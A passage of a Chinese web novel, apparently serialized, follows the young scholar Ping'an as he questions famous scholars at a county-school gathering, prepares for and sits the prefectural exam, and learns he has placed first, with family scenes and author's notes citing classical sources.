虽说一个院试一个乡试,可平安是必定能中的,且他今朝瞧着,平安学问扎实,名次应当不低。可他通过乡试的可能,却着实渺茫。 同年应试,一个中榜一个落地,他面上着实挂不住。 且若真是如此,平安与他,便是一样的功名了…… 夏和远瞧着面容尤帶稚气的平安,又想起雅集上,他们这些学子,只能垂手立在一旁,待夫子与大儒们辩经后,才能排着队,依次上前,求大儒解惑。 可平安,是徐夫子带在身边的。 他盯着平安,头一次对这孩子生出忮忌之情,有那样一位举人为老师,当真是教人羡慕啊。 此时的夏和远,确实是有些魔怔,竟是忘了,平安能入徐夫子门下,是他当年鼎力相助,多方奔走才得的机缘。 平安悶悶不乐,他不似妹妹那样豁达,万事不往心里去;相反,他是个很敏感的孩子。 谁真心对他好,他能感觉得出来;可同样的,谁若是对他不好,他也一样能很快察觉到。 姑父刚刚那一眼,他便察觉到了。 賀景来夏家接人时,便很是敏锐地察觉了平安的不对劲儿。 他当下按捺下来,只与夏和远见礼,寒暄一番后,带着家人归去。 晚间,賀景端着一碗莲子百合汤,敲开了平安的房门。 平安比之贺景,那点子心眼儿就不够看了,三言两语便教贺景套出话来,他自是好生开解宽慰了平安一番。 瞧着平安还是闷闷不乐,便道:“乖崽,下回县学雅集,你可还要参加?” 平安点点头:“自是要的,夫子说我如今已有辨别之能,也准我多听多看,多听听其余名家所言。” “徐夫子呢?可不会再去罢?”贺景又问。 平安一笑:“对,老师说是闷得慌。” 其实秋日凉爽,正是好时节,哪里会闷呢?不过是目的达成,便不耐烦应付他人罢了。 贺景便神秘一笑:“那咱们打赌,下次雅集过后,你夏姑父,便又会变成从前的那个夏姑父了。” 平安不明所以,可还是应下此次赌约,至于赌注麽? 是他一个月的零花錢,平安一点儿不心疼。 他平日里的花销家里一应全包了,他也不爱买东西,零花錢攒下许多,娘亲又三令五申不许他再偷偷‘接济’妹妹。 平安便更能存钱了,再加上逢年过年长辈相赠。 平安其实是个有交子和银锭在手的小富翁来着—— 作者有话说:平安:小富翁 慢慢:小负婆 今天日四啦! 第126章 这日一早, 平安照旧是五更天便起身。 此时已是晚秋,这个时辰,可见院中草木之上, 凝着一层白霜,若有月色,便愈顯清冷。 敛月跺了跺脚,赶紧给平安拿手炉。 平安笑着道:“不肖麻烦, 就几步路的事儿, 且日头一出来就暖和了, 也不肖捧手炉。” 敛月不依,快手快脚装香炭:“郎君可别小瞧这白头霜,寒气厉害着呢!咱们这回可得在縣学外头候着,还不晓得要等多久。郎君每日都要读书写字, 若是手上生了冻疮,那多耽搁事儿呀!” 几句话的功夫, 敛月已收拾妥当, 細細检查后, 这才将热乎乎的手炉子塞给平安。 两人填了填肚子,准备妥当, 便一路顶着冷风往縣学走去。 两人赶到縣学那头时, 天才微微亮, 晨时的雾气还未完全消散。 可縣学外头, 竟已有三四人垂首立着了,偶尔交谈几句, 也是轻声细语,生怕教进出县学的学子不悦,至于訓导教谕?他们自是要到点才来, 且早着呢。 平安赶忙快步走过去,跟着排隊。 他是后来者,也是年龄最小的,便先同几人见礼。眾人客气拱手,互相打量,瞧见平安如此年幼,晓得他至少已是童生,言语间又多了几分客气。 平安自也借着相互见礼的时候,稍稍打量眾人。 见几人皆是衣着朴素,有个别衣摆微濕,鞋底子上还能瞧见濕润的泥土。 平安很熟悉这样的场景,就像他在枣儿村时,晨起在外行走,总会教草木上的露水沾湿衣摆,且乡下土路未必夯实,雾气未散的清晨,路上便会湿滑些,行走时,难免会教鞋底子沾上泥泞。 他们應当是城外的学子,估摸着天不亮就起身往县里来,且还是步行而来,这是真真的清贫学子。 可还有两人,瞧着衣裳是朴素,可脚上却着小头皮靴子,家中顯然富足,可此时却偏偏是一副清俭模样。 平安忍不住偷笑,看来上回雅集驾车前来的学子,擋了县学这头的道路教人不愉,招来一通訓斥之事,大家都晓得了。 此番雅集,诸学子不仅不敢乘车前来,居然连衣着都特意朴素许多。 此时天光隐现,一街之隔的坊内早就热闹起来,隐约有吆喝声儿传来,此时是早市,也是食时,通常是吃朝食的时候,伴着吆喝声儿传来的,似乎还有若有若无的食物香味。 平安瞧见敛月偷偷朝外头撇一眼,心中好笑,唤了敛月过来。 “今儿咱们出来,可没有娘亲备下的小食。此时又冷,你去外头喝碗羊湯去。” 敛月急忙摆手,将头摇得拨浪鼓似的:“不成,不成,小人去喝羊湯,留郎君一人在这儿吹冷风?不成,不成……” 敛月心里怄得很,平日里他与小郎君都起得早,朝食自是比寻常人用得早些,可倆人都是半大小子,正是能吃的时候,若是挨到晌午再吃饭,定然会餓。 主家心善,林大娘子便特意交代了厨娘,给小郎君多备一餐简食,他也有! 敛月丧气,当真是好日子过久了,连这点子饥餓都忍不得了。没来林家前,忍饥挨餓不是寻常事儿? 平安板着脸:“快去,我饿了。你喝完了羊汤,再给我带一只,不,两只蒸饼来。” 蒸饼没有馅儿,也不似胡饼要掉渣,他此时还在县学外头排隊,吃蒸饼正正好。 “啊?郎君饿了?”敛月大惊,赶忙道,“好,郎君稍等,小人这就去!” 唉,自己果然比长乐哥差遠了!居然教郎君饿肚子,着实是不会照顾郎君。 平安瞧着敛月一副懊悔又失落的模样,晓得此时教他吃羊汤他也坐不安生,便不再勉强他,只摸出钱来,道。 “我吃蒸饼就好,可你喜欢的肉馒头和胡饼此处都有,自个儿拿着钱,买些爱吃的。” 平安与敛月的交谈不算隐秘,自是有人注意到,他心中不免诧异:还真有人敢在这时吃饼子不成? 等那小仆真买了饼子回来,与那年幼学子分食时,他更是震惊,随即便是不屑。 名士大儒学问高,脾性自然也高,上回将好些前来求学的学子骂得是狗血淋头,批得是一文不值。 这学子,怕是头一次来?不晓得鴻儒脾性大,才敢如此胆大妄为。 他这番动作,定会招来训斥,可别牵连到我。 那学子半是庆幸又半是窃喜,脚下还離平安遠了些。 平安自是察觉到身旁人的小动作,可他不在意。 他虽敏锐,可这些个不相干的人,是不会在他心中掀起半分涟漪来的。 夏和遠赶来时,一眼便瞧见了候在门外的平安,无他,太显眼了些! 学子求学,自是恭敬,人人都规规矩矩又肃然,只有中间凹下去的那一小个,不止没垂首恭立,居然还在啃饼子吃! 夏和遠眼前一黑,赶紧上前几步:“平安,怎在此时吃饼子?快快放下!” 是,此时名士鴻儒自是没来,可还有县学里的斋夫、门斗(门房)都瞧着呢!很是该恭敬些。 “啊?”平安有些委屈,“姑父,我饿了呀。飲食者,天理也。[1]我自是晓得要对师长恭敬,可现在还没进去见师长呀。” 夏和远着急,可又觉着平安年幼,若是饿出好歹来更不好,可是人人俱是一副恭敬的模样。 这孩子,瞧着可扎眼了! 平安又小声道:“不吃饱,怎能有力气读书呢?圣王制飲食,足以充虚继气,强股肱……”[2] 平安的小声辩驳在夏和远的目光下,逐漸消失。 夏和远无奈,瞧着时辰还早,此时确实不会有名士大儒提前来,便侧身遮擋平安。 他小声道:“快吃!只准吃这一个!” 听着身后窸窸窣窣的声儿,夏和远目光呆滞,可又没法子。 雅集辰时正开始,论经不定,可至少要一个时辰,然后还得等县学的学子求教后,名士们休息一会儿,县学的门斗,才会招呼外头排队求学的学子进去。 真教平安饿到那个时候?他如此年幼! 对,平安年幼,飲食乃天理,确实不该以此苛责平安! 夏和远漸渐被自个儿说服了,于是便像平时一样,端正而立,目光坚定,瞧不出一丝不自在。 平安快速啃完蒸饼,又借着夏姑父的遮挡,擦手擦嘴,整理仪容后,才悄声道:“姑父,我吃好了,多谢姑父。” 夏和远转过身来,又为平安理了理头上的小方巾,道:“若是坚持不住,便莫要逞强。” 他瞧着敛月着实年幼,放心不下,把自家的书童留下来,又叮嘱平安几句,这才匆匆離去。 他耽搁一会儿,许是只能排在最后了。 唉!希望鸿儒今日心情好些,骂得不那么狠。 平安眉眼弯弯,从书袋里摸出一张纸来,上头是他先前整理出来的问题和自个儿的想法。 他此时摸出来,又默读几遍,脑子里演起小剧场,一问一答,将自个儿的疑惑与理解又整理好几遍。 此时瞧着,又是一个多端方且极其好学的小郎君了。 他身旁的学子,目瞪口呆:你怎的,还能这样啊? 辰初,县学相邀的名士鸿儒陆续到齐。 他们或是年轻或是稳重,乘车坐轿皆有,人人不同,可身上那股子气定神闲的气韵,却是如出一辙。 天光大量,虽是晚秋,可此时日头这般直直地照过来,晃眼不说,这些个恭立许久的学子,便逐渐显露出些许疲态来。 又过去小半个时辰,队伍便逐渐有人离开,或是有人耐不口干舌燥去买饮子,或是有人去如厕…… 平安自是巍然不动,他饮水少,只在实在耐不住的时候才会抿一小口,干啃蒸饼都没饮水,自是不急,且姑父留下的书童很是照顾他。 挡了大半的光照,平安仗着身量还小,躲在阴影里,倒是还能忍。 也不知过了多久,县学那扇乌木大门缓缓开启,门内走出一人来,肃声道。 “雅集结束了,尔等求学之人,可随我入内。提醒诸位一句,只有一炷香的时间,莫要喧哗,莫要纠缠,扰了教谕与鸿儒,往后便没这个求学的机会了。” 苦候许久的众人自是應下,随即保持着队伍的形状,便快速入内。 而那扇门,在众人入内后,便毫不留情地关上了,那等候许久,可偏偏错过入内机会的人,便是再不得入内。 瞧着平安的身影消失不见,躲在远处的林真与贺景稍稍松口气。 头一回是有徐夫子带着,这番却是平安孤身前来,且听平安说,这是徐夫子要求的,林家众人自是不好阻拦。平安又不教长辈相送,夫妻倆便只能出此下策了。 贺景此时道:“咱走罢,也不晓得平安何时出来,莫被他撞见了。里头有夏兄弟照顾着,咱便先走?” “是得走了。”林真点点头,忽然又道:“夏和远这人情,咱要记下,以后找机会还。” 贺景自是点头应下,俩人这才离去。 殊不知今日来瞧平安的,可不止林真夫妻二人。 八仙茶坊,临窗的雅间内,徐夫子瞧着进入县学的平安,心里也是松了一口气。 他摇摇扇子,亲抿一口茶汤,赞道:“不错,夏喝青茶冬饮黄,这蕲门团黄甚好,甚好!” 他对面一人嗤笑:“把你那破扇子拿远些,盛夏已过,又无蚊蝇,晃着那扇子作甚?你本经治易,不晓得秋扇触霉头啊!” 听了这一点儿不客气的话,徐夫子没有半分恼意,将扇子摇得更起劲儿了。 “哎呦呦,酸,实在是酸!我可得问问掌柜,好好儿的茶坊,哪里来得一股子冲天酸味儿呀?”—— 作者有话说:1 《朱子语类》 2 《太平御览》 第127章 徐夫子对面的大儒姓章, 乃是他多年好友。 倆人显然很是熟悉,此时听了徐夫子的打趣,他半分不恼, 反道:“我確实是羡慕你收得这小弟子,可你是如何想的?凭你的学问,教导他绰绰有余,怎还要教他受这等磋磨?你若是不乐意教, 倒不如教他拜我为师, 我治春秋, 考试时,可比你那孤经强多了!” 章明允为官多年,眼尖得很,自是晓得老友此举, 是为了磨砺弟子心境。 万般皆下品,惟有读书高, 不论家贫还是富贵, 读书人多是心气儿高。 家贫者, 家人供其读书,都想着一招改换门庭, 自然对其有求必应, 久而久之, 便教读书人养成予取予求的性子;富贵者更不肖多说, 身边多得是人吹捧。 可这般长大的学子,多是受不得挫听不得逆耳之言的, 如何能成器? 他观徐子厚这小弟子,倒是不见骄矜之色。 那便是这家伙上心得很,要教他这小弟子打小便多听多看, 识得人情冷暖,经得坦途波折,将来不论身處何种境地,都能泰然處之,寻出应对之法。 也是,徐子厚不上心,怎会一大早便拖他来此茶坊? 人茶坊还没开门呢!也就这厮仗着自个儿的身份,硬生生敲开了门儿。 章明允此言,不过是激一激多年未见的友人罷了。 徐子厚这厮,不经宦海浮沉,瞧着倒是仙风道骨,飘逸出尘;反观他,官场挣扎多年,早成了个皱巴巴的糟老头子了! 徐夫子听罷,果然顺手抄起身边的香糖果子仍向友人,佯怒。 “章明允,你休想拐带我家弟子!哼!我本瞧着你个老头子辞官孤苦,这才邀你小聚,你还想打平安的主意?明儿就启程,回你的蜀中老家去!” 章明允抬手接过那糖果子,扔进嘴里,半点儿不在乎甚风度仪态。 “我自是要回去的,只不过你那小徒弟瞧着可不像是治《易》的人,你唤我来,不就是想要我的藏书札记麽?哼,不教你那小徒弟来拜见我,我才不给呢!” …… 倆人顽笑几句,徐夫子瞧着天色不早,又赶忙抓着友人歸家,平安待会儿定是要来寻他的,可别露馅儿了。 另一头,平安入得门去,跟着訓导走至今日讲学的明伦堂內。 縣学山长和教谕,加上请来的鴻儒,一共十来人,全在厅堂內,分坐两则,求学的学子,需依次上前,对着这一屋子的名士大儒,说出自个儿所学之惑。 便是寻常人,一人面对十来人,心中也不免紧张;更别说,堂內坐着的,都是饱学之士,自是威仪不凡。 眼神一扫,便教人觉着心慌,且大儒很是不留情,呵斥訓诫之言,字字见血。 打头的学子本就底气不足,这番阵仗又唬人,他渐渐在众鴻儒的询问指正之下失了思考之能,結結巴巴,甚至答非所问,最后呐呐不能言。 平安上回有夫子带着,已是觉着厉害,是以才会早早将自个儿的疑惑落在纸上,又背得滚瓜烂熟,就是不想语不成句,答非所问。 教人不耐不说,还会令夫子蒙羞。 縣学教谕挥挥手,便有训导上前,将求问的学子带下去。 前后不过片刻,很快便轮到下一位学子发问。 如此,不过一盏茶的时间,便轮到平安。 他深吸一口气,稳步上前,稽首行禮,朗声道:“学生愚钝,读董子所言‘夫仁人者,正其道不谋其利,明其道不计其功’,可管子有言‘仓廪实而知禮节’,太史公谓‘人富而仁义附焉’。若求利以养父母、济苍生,是否反合其道?”[1] 堂内諸人,先前考校提问学子时,已是索然无味;忽见上来一未束发孩童提问,更是兴致缺缺。 可不想,这小童,提问居是如此老辣,且还有几分自个儿的见解思考,当下便来了兴趣。 当即便有大儒道:“六经注我,我注六经?諸先贤所言……”[2] …… 夏和遠同其余縣学的学子一样,虽已经不是縣学学子提问的时间,可众学子还是恭立在一旁,等着山长与名士鸿儒讲学结束后,再一同恭送其离开。 明伦堂本就开阔,诸人俱是肃然噤声,若是打起精神来,便能听见堂内的一问一答。 县学的学子不由交换眼神,还有人悄声道:“谁家的麒麟儿?好生厉害。” 不见惊慌不说,问得好还答得好,与诸位大儒一问一答间,居然还能有新论点出现? 这份儿思辨能力与应变能力,着实厉害。 思及其年龄,再瞧瞧其侃侃而谈,落落大方之态,众人俱是心里一酸。 夏和遠虽也有些艳羡,可此时瞧见县学同窗如此,心里倒是忽然起了几分与有荣焉之感。 林家的麒麟子,也是他夏家的机缘啊! 雅集结束后,山长与诸位大儒先行,众学子躬身行礼,恭送师长离去。 平安这等不入县学的学子,自然也要速速离去,他只来得及与姑父拱拱手,便被门斗催促着离去。 有眼尖的学子瞧见了,凑到夏和遠身边,打听道:“夏同窗,可是与那小童相熟?” 夏和遠心下不喜,面上扯出一抹淡笑:“谈不上相熟,只有几分交情罢了。唉,陈兄,弟有一问不明,还望贤兄解惑。” 他三言两语岔开话题,教众人不再谈论平安。 夏和远有些不解,平安明明拜入徐夫子门下,怎还会来此雅集求学? 不行,他得去提醒一下平安,县学中,可不见得就是读书圣地。 先前出了一个周浦,虽顺利解决了,又有徐夫子护着,可谁晓得会不会又出甚张浦、李浦来? 下半晌散学后,夏和远先打发人去林家说一声,又唤了一桌香满楼的席面儿送去林家。 自个儿回家,接上妻儿后,一家子都往栖迟巷去。 搁在从前,他断断不会做出如此无礼之事儿,可家里自来与林家親厚,现今燕儿又有身孕,他偶尔出格一些,也不算甚,反而能教两家多添几分親厚。 果然,晚间席面热闹得很,众人推杯换盏,浅饮几杯薄酒,又有稚子绕桌,着实是热闹。 林屠户和苗娘子,俱是面色红润,笑得眼儿都不见了。 饭毕,留燕儿与岳母说话。 夏和远唤了平安来,又与林真、賀景细细说了自个儿的担忧。 他摸着平安的小方巾,叹道:“平安如此美玉,着实引人瞩目啊。” 林真与賀景,还真没想到,有山长、教谕压阵的县学之内,也会如此不安生,还以为有周浦的先例和徐夫子的震慑,会教那些小人有所忌惮呢! 夏和远道:“平安着实年幼,众人既妒其才华,又因他年幼便生出轻视之心。也許是我杞人忧天,就怕有脑子不清楚的,一时冲动酿下大祸。” 屋内顿时一静,平安这才举手,有些调皮道:“娘亲、爹爹,我能说话了麽?” “如何不能?”三人都奇怪。 平安笑眯眯道:“不肖忧心,夫子好友来访,我不日将会与夫子搬去别院小住,县学的雅集自是不会再去了。且来年四月就是院试,夫子的意思,是教我闭门读书的。” 刚才长辈一直在说话,平安確实没找到机会开口,可他心里何尝不是想先听听夏姑父所言。 三人一愣,皆是一惊。 林真:“何时?要离家多久?” 贺景:“何处别院?远么?” 夏和远:“太好了!呃……” 见林真、贺景偏过头来盯着他,夏和远语塞,一会儿后,又小声道。 “确实是好事儿呀。徐夫子的友人,定然也是饱学之士。” 平安一笑,又去拖自个儿的书袋:“姑父,我有一物相赠。” 他捧出一卷书册来:“此书是章先生所赠,我已禀明先生,先生許我借与您手抄一本。” 夏和远惊疑不定,接过书册只一瞥,便被吸引了全部心神:这竟然是大儒的札记!且他匆匆一看,这大约是位治《春秋》的大儒。 他本经也是《春秋》! “对了,来年秋试,您不若往江宁府去报名。”平安低低咳嗽一声,压低声音道。 “章先生说,京都乡试名額是比其余地方多些,可旧都,也不算少。” 夏和远头次考乡试,便是远赴京都去考,而不在他本籍所屬的省城。 就是因为这不成文的规矩:同样是乡试,可京都录取的举人,确实是比其余省城多的。 是以,即便皇帝多次下令禁止‘乡试移民’,可仍旧有许多偏远的地方考生会往京都应考,且朝廷暂时没法子阻止。 无他,大虞地广,此时偏偏有许多地方的歸屬还存在争议。 譬如慈溪升为大县后,明州城与庆安府,便对慈溪的归属有争议。 偏远之地和存在归属争议的地方不少,且还真没明文规定那儿的考生该往何处应考。 如此一来,自然有空子可钻,不少学子,便会想法子往京都应考。 夏和远此时听了这话,心里一惊,顾不得许多,一把抓住平安的手,颤声问:“这,果真如此?” 他很想开口,问一问徐夫子的友人到底是何方神圣,这消息可是可靠…… 可他也晓得,这样的大人物,能稍稍提点一两句已是大运,如何还能细问? 可平安笑着道:“章先生是进士出身,曾在京都为官,他的话,应当可信。姑父,京都乡试名額较多,已不算秘密,大比之年往京都应考的学子不计其数,这多出来的些许名额,真能抵消多出来的考生么?您再想想,来年三月才开始报名呢,不必此时做决断的。”—— 作者有话说:1 董子=董仲舒尊称 2 陆九渊 第128章 備考的日子过得很快, 且因着林家和夏家倆讀书人都要应考,两家这个年过得分外忙碌。 林真家里,也不似从前一样, 要在枣儿村住大半月。 一家子只住了五日,祭祖访友走親戚,便匆匆回栖迟巷去。 林真瞧着家中各處都井井有条,心里高兴, 与范三哥的娘子又续了赁约。 家里的长工, 林真现今学会了上辈子那套, 赁约一律只签三年,年年考评,若遇上不尽心的,便早早将人打发了去。 今年她便与其中一佃农解了赁约。 林真淡淡道:“做事尽不尽心, 田地的收成、棚子里的牲口都会说话,再是骗不了人的。我自认给出的工钱丰厚, 若是达不到我的要求, 便只能请您另谋高就。” 敲打底下人一番后, 林真尋了簿子,按照众人的表现发过年赏钱。 之后, 又给卢老和范三哥另添一笔:“你们是家里的老人了, 历来尽心, 合该多给一份儿。家里的事, 还是交与你倆盯着,多费了心, 自然该多得一份钱。” 至于立在一旁的邹娘子,林真没有任何表示。 毕老对这些个赏钱不大关心,他来钱的路子不在赏钱。 東家厚道, 他制出来的纹帘纸,東家给他分了一成的利润!若是砑花笺也在铺子里出售,那才是大钱。 那时候,他就能存下钱来,在枣儿村买地建宅,他依附東家,也是依附在林氏一族的庇佑下。 他冷眼瞧着,林氏一族风气颇正,且族中后生多是争气,至少还能再兴旺两代。 如此,待他他百年之后,女儿、孙女儿在枣儿村生活,受林氏庇佑,至少能有一安身之所,不至于受颠沛流离之苦。 于是,等众人都散了后,毕老便凑上前去。 “东家,这砑花笺,您预備着甚时候出售?” 毕老原以为东家会将砑花笺放在年节前出售。 年下多宴席,若是此时推出砑花笺,便能用这砑花笺来下帖子,可有面儿了! 林真一笑:“您费心制成的砑花笺甚好,它值得一个更胜大的場合来打响名头。” 比如,平安中秀才的时候。 毕老心思通透,遠遠瞧见愈发挺拔俊秀,气质不凡的小少爷,心里便明白过来。 他心里有底便不多做纠缠,笑呵呵与林真道了几句吉祥话,便离去了了。 他也要去与女儿、孙女儿过年去咯! …… 年后,夏和遠先出发去往江宁府报名,他本想着报名后便家来,待到要考试时再去,可燕儿劝他直接在江宁府尋个清静院子住着。 “官人不肖憂心我,新赁来的孙娘子甚是周到,平日里阿姐和阿娘都会来瞧我。你放心备考,少受些奔波之苦,我和衡哥儿在家等着你。”燕儿已然显怀,小腹微微隆起,她轻抚腹部,柔声道。 “这小家伙,也等着你家来。” 夏和遠满脸感动,只一个劲儿地说对不住燕儿。 燕儿笑笑,道:“只恨我今朝不能陪着官人一同赴考,官人苦讀本就辛苦,很该有人照料衣食起居。只帶木荣一人,怕是不妥当,不若教……” 夏和远摇摇头,牵着燕儿的手:“娘子才是不肖憂心我,有你的提点,我帶木荣一人便足够了。” 燕儿当年随着仇娘子在江宁府待过一算时间,此番夏和远去江宁府应考,她自是提前说了江宁府的情况。 “只是多年再未去过江宁府,只怕会有出入,官人万事小心。” 夏和远自是連忙宽慰燕儿:“有你的提点,我已是比旁人更有底气,莫忧心。” 夏和远便决定直接住在江宁府待考,直至放榜。 这笔花销,便是一大笔钱,夏和远自是曉得,全赖燕儿治家有方,经营得当。 穷秀才穷秀才,他雖能为家里减免些许税费,可讀书费钱,若不是有贤妻会打算,他一无父母长辈照拂的破落戶,怎会像如今这般体面,且只用一门心思读书? 夏和远心里有谱,且今朝又受了林家的提点,在他走时,他親去林家,再三请求苗娘子住去家里照顾燕儿。 然后又往夏夫人處好一顿诉苦,还说动夏夫人写了信捎去林家,直言请苗娘子往夏家居住,是夏家相请,也得了长辈允许。 林家有麒麟儿,这等小节上,便要上心打算着。 如此诸事妥当,夏和远便先行出发。 不久,又到了平安出发去府城的日子。 这回还是贺景带着他去,家里一連走了三人,宅子里便稍显清冷。 林真给林屠戶派了活而,不叫她屠户爹闲着想东想西,又唤了长乐和长顺来,叮嘱两人务必守好门户。 她自个儿则一头扑进铺子里。 贺景走了,燕儿有孕,无人与她分担事情,林真便愈发忙碌。 好在这些年铺子里提拔起来的伙计也算顶事儿,又有一心挣表现的大壮,林真即便忙碌,也还是能将诸事儿抗下来。 就是难免会忽视慢慢,她充满愧疚。 慢慢很是懂事儿,她抱着娘亲拍拍:“阿娘不肖忧心我,家里有春禾姐姐和吴嬷嬷陪着我;学塾里有老师和姐姐们陪着我,还有叶家姐姐,她也会寻我玩儿的。” 她仰着小脸笑出俩梨涡涡来:“而且我曉得,阿娘若是回来得早,是会陪着我睡的。我是天底下,最最最幸福的小孩儿了!” 林真鼻子一酸,搂着慢慢不说话。 慢慢还在安慰娘亲,她拍着小胸脯表示自个儿很勇敢。 “我听哥哥说,哥哥五岁时,娘亲便偶尔会出去跑商。我今年六岁了,哥哥五岁时都不怕,我自然也不怕的。” “娘亲和妹妹在家,也不晓得妹妹会不会怕?” 夜里还在读书的平安,忽然瞥见桌上落了一片清辉,抬头瞧着仿佛被咬了一口的月亮,突然出声。 贺景在一旁检查平安的考篮与书箱,闻言,抬头瞧着平安面上的神色,略想一想,没有出言宽慰,反而道。 “自从晓得你一连要在贡院里头住三日,慢慢忧心得不得了,自个儿爬山给你求了平安符,可这符纸,自是带不进考場去。慢慢这番心意,只能留在考场外头咯。” 平安转过头来,瞧着爹爹手上的平安符,想起妹妹那日执着爬山的模样,有些好笑又有些心疼。明明平日里,最是不爱动弹,连玩儿蹴鞠都要人盯着、逗着才肯多玩儿一会。 “心诚则灵,妹妹此番心意,无需外物承载,自是能佑我一切顺遂。” 贺景走过去,拍拍平安稍显瘦削的肩膀:“那可莫要苦读了,若是教慢慢瞧见,又要眼泪汪汪说‘哥哥可怜’了。来陪我整理书箱,今朝带的东西多,总要教你晓得东西都放在何处,寻起来时,才不会慌乱。” “好!”平安自是点头应下。 他整理书箱,内里缀绒的单衣、爽口的酱菜、提神的蔢荷膏、防虫的药粉、隔水的书袋子、透明的烛火罩子…… 一件一件地放好,平安心里愈发宁静。 他的苦读,家人师长都瞧在眼里,他们对他,只有心疼没有要求。 如此,他还有甚可不安的? 他已拼尽全力,今朝名次如何,他都问心无愧。 == 院试考題,依旧以四书五经为主,考察文、诗、策论。 考題的出处不变,考试的題型不变,但是出題的方式却是全然不同。 题目冗长不说,且极具迷惑性,需要考生谨慎审题,从题目中,寻出考官真正想问的东西。 若是考生学问不精或是个不懂变通的书呆子,怕是连破题都破不明白。 平安录下考题来,心下微松。 院试确实是童考中最难的一关,可他有师长精心教导,又有大儒指点,自个儿还甚是勤奋,自是覺着不难。 他心头雖是放松,可落笔却谨慎,再三推敲后,方才提笔去答。 平安虽已再三审题,可他落笔却是此列考棚中,下笔迅速的那一批。 对面有考生撇见一未束发的幼童,落笔居然如此之快,心下冷哼:怕又是一个审不明白题目,胡乱作答的平庸之辈! 平安做功课时,自来是全神贯注,此时答题,也是如此。 心神全在考题上,没分出半点儿心神去注意外头。 如此忘我,倒是有一桩好处。 那便是覺着时间飞快,不像是姑父提过的那样难熬。 且他得了提点,时间分配得很是合理。 何时答题、何时落笔养神自有考量,节奏把握得刚刚好。 夜里将试卷一卷,放在特制的防水书袋里,放置妥当后,他便卷了缀绒的单衣沉沉睡去;待梆子声响起后,抹一抹提神的蔢荷膏,便又是精神抖擞地投入答题中。 院试的考题虽多,可平安节奏掌控得当,又有烛火罩子等物件相助,倒是不觉着时间紧张。 第三日,落笔的梆子声响起时,平安早已誊写好答卷,再三检查后,在号舍内闭目养神了。 对面颇有些狼狈的考生瞧见,又狠狠瞪了一眼平安。 哼!无知小儿! 平安自是不晓得,只恭敬递出自个儿的答卷,飞快收拾了东西预备出考场。 爹爹定然在外头等着,他早些出去,便能教爹爹少等一会儿。 平安完全不像是一个经了三天院试折磨的柔弱学子,提着考篮,背着书箱跑得飞快。 他练习五禽戏从未停下,且老师的友人与他们同住别院时,还教他耍哨棒和朴刀! 老师虽摇头晃脑打趣人:“蜀中多游侠,章明允,你为官多年,怎生还没学会修身养性?一把老骨头了,啧啧,也不怕闪了腰。” 可随即便撺掇平安去‘偷师’。 “乖崽,去学两手,章老头还是有两把刷子的。咱可真不能当那无用书生,你往后若是外放,路上要是不太平,学得一两手,说不得就能化险为夷呢!” 第129章 院试过后便有秀才功名, 是有官差報喜的,平安便不愿意在府城多待。 “ 若是中了,自有官差往家里送捷報, 若是未中,便是我与爹爹在这头苦候許久,也改不了结果。不若快快回家去,今朝家中事儿多, 咱们早些回去, 便能教娘亲少受些累。” 賀景自是依着平安, 他本来也忧心林真忙碌。 父子俩行动力极强,说定之后,在平安歇息的半日里,賀景便寻好同行的商队。 翌日, 给家里人和师长买了礼物,又收拾行李。 四月十一这日, 城门刚开, 父子二人便踏上了返程的路。 如此, 四月十三这日,林真吃了夕食, 带着慢慢在院子里散步消食, 忽然听得外头有些許喧鬧。 她一抬头, 便见吴嬷嬷一脸喜色, 快步进来:“東家,郎君与小郎君都回来了!” “这样早?”林真一惊, 院试四月七日开考,今日才十三,怎恁快就家来了? 她没动作, 手里的慢慢早忍不住了,扯着她便要往门外跑。 “娘亲,快些!爹爹和哥哥家来了,咱们快些去迎一迎他们!” “娘!妹妹!”平安进了院子后,便三两步奔到林真身边,他刚巧听见慢慢要出门迎他的话,此时一笑,“不肖迎我,我自个儿回来了!” 兄妹俩大半个月没见了,此时黏糊得很,手拉着手。 一个问哥哥考试可辛苦;一个问妹妹在家可害怕? 倆小孩儿自个儿黏糊着,自然就没注意到,爹爹和娘亲,十指交握,双目含情的模样。 家里事儿忙,燕儿生产在即,又还要看顾着燕儿那头,难免忙碌。 家中大人忙忙碌碌,平安读书之余,便当起了半个小管家。他盯着家里,又照顾慢慢,尽量多做些事儿,教家中长辈能多歇一歇。 如此,日子过得飞快,竟是一晃眼就到了放榜的日子。 这日,天还未亮,林屠戶便早早起身,他自是要去看榜的。 可今朝却是天公不作美,淅淅沥沥下起小雨来。 林真便劝他:“爹,院试一过便是有正经功名的秀才相公了,此番看榜的人定然比前两场更多。今朝落雨,您还是别去了,人擠人的,脚下一打滑,可是不得了。” 林屠戶不想放弃:“烛芯儿爆,喜事到!真姐儿,今朝我房里的烛芯儿噼里啪啦,定然是有大喜事儿,我可不能错过!” 林真不瞧她爹,偏头去瞧平安。 平安给阿爺盛了一碗莲子羹,道:“阿爺别出门了。今朝若是中了,自有官差報喜贴喜報,外头湿漉漉的,咱们不若都在家里,不肖兴师动眾跑一趟。” 賀景补充一句:“今朝鲁家的小儿也去应考了,瞧着他家似乎没动静,只教门房守着呢。” 鲁家便是林家斜对门儿那户人家,家中富贵,自是供了孙儿读书,他家有一子,比平安稍长几岁,当时也是想拜入徐夫子的学堂,可哪里想,徐夫子没收鲁家小子,却收了平安。 自那以后,本就傲气瞧不起林家乍富的鲁家,更是与林家不对付,平日里,他家门房瞧着长乐,便斜眼吊楣的。 林屠户一听鲁家人如此沉得住气,自然不肯教人觉着自家没见识,当即坐下,再不提出门看榜之事。 只他雖坐着,可心里却是慌得很,从厅堂内转悠到廊下,瞧着雨水滴答,嘴里嘀咕:都是鲁家人瞎讲究! 恍惚间,林屠户似乎听见了锣鼓声儿。 他皱眉:“真姐儿,我怎听着像是有报喜的官爷来了?” 林真笑着宽慰她爹:“爹,此时还早,您许是听岔……” 话还没说完,便教奔进门来的长乐打断。 “中了!中了!”长乐歡喜疯了,直直跑进屋内来,大声道,“東家!咱家小郎君中了案首,連中三元,是慈溪头一个小三元!” 长乐此时頗有些狼狈,鞋子半耷拉着,身上的斗笠早歪了,身子教雨水打湿大半。 长乐自是晓得鲁家人的德行,今日便唤了长顺守门,自个儿早早便从角门出去,守在了布榜栏前,哪晓得,今朝看榜的人比前两次多出许多人来。 便是家里没学子应考的人家,也来凑热鬧。 他教人擠得东歪西倒,还一不小心撞见了鲁家人,两人均是冷哼一声,将头一偏,各自又奋力挤到前面去。 红榜一贴,长乐头一个便瞧见了自家小郎君的名儿,打头第一个,显眼得不得了。 